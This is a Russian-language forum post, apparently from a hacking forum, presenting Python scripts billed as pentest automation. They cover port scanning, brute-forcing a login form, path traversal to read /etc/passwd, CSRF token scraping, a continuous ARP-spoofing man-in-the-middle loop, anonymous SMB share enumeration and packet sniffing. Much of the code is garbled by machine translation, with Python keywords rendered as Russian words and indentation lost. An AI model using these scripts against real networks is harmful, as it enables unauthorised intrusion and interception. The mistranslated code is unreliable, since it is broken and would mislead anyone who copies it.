Automating penetration testing with Python

META

Activist
SUPREME
MEMBER
Joined
Mar 1, 2026
Messages
118
Reaction score
378
Deposit
0$
Тестирование на проникновение всегда ограничено по времени. В то время как хакеры-злоумышленники (или просто хакеры) могут тратить недели или месяцы на проведение APT-атаки, хакеры-белые не могут себе позволить такую роскошь. Тестирование на проникновение проводится в рамках контракта, в котором четко указаны сроки.

Для повышения эффективности тестирования на проникновение используются различные инструменты автоматизации. Однако зачастую удобнее использовать пользовательские скрипты, поскольку часто возникает необходимость в их доработке — небольшое изменение кода скрипта может сделать его более подходящим для задачи, и, конечно же, лучше модифицировать то, что вы хорошо понимаете.

Python — один из самых популярных языков программирования. Он функционален, гибок и хорошо подходит для большинства задач этичного хакинга. Его простота, обширная экосистема библиотек и кроссплатформенная совместимость делают его незаменимым для автоматизации сетевых атак, анализа протоколов и разработки пользовательских инструментов для тестирования на проникновение.

Интерпретатор Python также можно установить на различные устройства, такие как микрокомпьютеры, например Raspberry Pi, сетевое оборудование с прошивкой OpenWRT и так далее. Не на всех этих устройствах можно запустить полноценную версию Kali Linux с предустановленными инструментами, но их можно и нужно использовать для автоматизации тестирования на проникновение. Бывают также ситуации, когда мы получили доступ к хосту с установленным Python, но не можем установить другие необходимые инструменты, и тем не менее нам необходимо продолжить атаку.

В этой статье мы рассмотрим несколько полезных скриптов, которые могут помочь автоматизировать различные задачи тестирования на проникновение.


---

Поиск открытых портов

Для начала напишем небольшой сканер портов. Наш сканер не будет очень быстрым, поскольку он будет пытаться подключиться к каждому порту в заданном диапазоне, но он полезен, когда такие инструменты, как Nmap или Masscan, недоступны.

импорт запросов
импорт сокета
импорт sys

# проверка количества аргументов
если len(sys.argv) == 2:
target = socket.gethostbyname(sys.argv[1])
еще:
print("Недопустимое количество аргументов")
sys.exit()

пытаться:
# сканирование портов до 1025
для порта в диапазоне (1, 1025):
сокет = сокет.сокет(сокет.AF_INET, сокет.SOCK_STREAM)
result = sock.connect_ex((target, port))

# Если соединение установлено успешно, вывести сообщение
если результат == 0:
print(f"Порт {port} открыт")
еще:
print(f"Порт {порт} закрыт")
sock.close()

за исключением socket.gaierror:
print("\nНе удалось разрешить имя хоста!")
sys.exit()
за исключением socket.error:
print("\nСервер не отвечает!")
sys.exit()

Если вы можете установить библиотеку Scapy, сканирование портов можно ускорить, отправляя SYN-пакеты и получая от целевого устройства только SYN/ACK-ответы:

from scapy.all import *

def scan_ports(host, ports):
для порта в портах:
пакет = IP(dst=host)/TCP(dport=port, flags='S')
response = sr1(packet, timeout=1, verbose=0)
если response и response.haslayer(TCP) и response[TCP].flags == 'SA':
print(f'Порт {порт}: открыт')

порты = [21, 22, 80, 443, 3306, 5432]
scan_ports('localhost', ports)


---

Взлом паролей

Предположим, у нас есть веб-страница с аутентификацией на основе форм. Мы можем написать скрипт для перебора разных паролей. Ключевой момент — знать, как выглядит страница после успешного входа в систему.

Например, мы можем использовать уязвимый веб-ресурс http://testphp.vulnweb.com/, страница входа в который находится по адресу http://testphp.vulnweb.com/login.php.

импорт запросов

url = "http://testphp.vulnweb.com/login.php"
passwords = ["admin", "password", "123456", "test"]

для pwd в паролях:
response = requests.post(url, data={"username": "test", "password": pwd})
Если "E=Mail:" в response.text:
print(f"Действительный пароль: {pwd}")

Здесь скрипт последовательно отправляет пароли посредством POST-запросов и проверяет наличие определенного текста в ответе, чтобы определить, был ли вход в систему успешным. Для этой уязвимой страницы допустимыми учетными данными являются test/test, а в разделе настроек учетной записи после успешного входа в систему отображается поле с именем E-Mail:. Скрипт проверяет наличие этого поля.


---

Другие веб-атаки

Ещё одна распространённая атака — обход каталогов. Это происходит, когда предоставленные пользователем имена файлов не проходят надлежащую проверку на наличие ошибок, что позволяет последовательностям, таким как ../, получать доступ к родительским каталогам. Это может позволить злоумышленнику получить доступ к несанкционированным частям файловой системы.

Пример GET-запроса к уязвимому сайту:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Реализовать это на Python очень просто:

response = requests.get("http://vulnerable-site.com/?file=../../../../etc/passwd")
print(response.text)

Мы можем автоматизировать обработку ответов, используя тот же анализ response.text, что и в предыдущем примере.

Мы также можем использовать скрипты для извлечения CSRF-токена из сессии. CSRF-токен — это уникальное, непредсказуемое значение, генерируемое сервером и отправляемое клиенту. Используя регулярные выражения:

импорт ре
импорт запросов

сессия = requests.Session()
login_page = session.get("http://vulnerable-site.com/login")
csrf_token = re.search('name="csrf" value="(.*?)"', login_page.text).group(1)
requests.post(url, data={"csrf": csrf_token, "username": "admin", "password": "pwd"})


---

Сетевые атаки

Помимо веб-атак, Python можно использовать для сетевых атак. Например, подмена ARP-адресов в локальной сети позволяет злоумышленнику стать «человеком посередине», перехватывая и, при необходимости, изменяя весь трафик.

Использование Scapy:

from scapy.all import *

target_ip = "192.168.1.2"
gateway_ip = "192.168.1.1"
target_mac = getmacbyip(target_ip)
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), inter=0.1, loop=1)

Также полезно перечислить доступные общие ресурсы для малых и средних предприятий, которые могут содержать конфиденциальную информацию:

from impacket.smbconnection import SMBConnection

target="192.168.1.1"
conn = SMBConnection(target, target)
conn.login("", "")
shares = conn.listShares()
для доли в акциях:
print(share['shi1_netname'])

Наконец, одним из наиболее полезных инструментов для тестирования на проникновение является анализатор сетевых пакетов. Scapy позволяет проводить детальный анализ пакетов, но даже простой скрипт может перехватывать необработанные IP-пакеты:

from scapy.all import *

def packet_callback(packet):
if packet.haslayer(TCP):
print(f"TCP-пакет: {packet[IP].src} -> {packet[IP].dst}")
print(packet.show())

sniff(prn=packet_callback, store=0)

Здесь отображаются основные заголовки пакетов на канальном, сетевом и транспортном уровнях, а также необработанное содержимое пакетов. Захваченные данные затем могут быть дополнительно обработаны с помощью Python и Scapy по мере необходимости.


---

Заключение

Мы рассмотрели несколько простых скриптов, которые можно использовать для автоматизации задач тестирования на проникновение. Каждый из этих скриптов можно модифицировать по мере необходимости для выполнения конкретных задач.
 
Top Bottom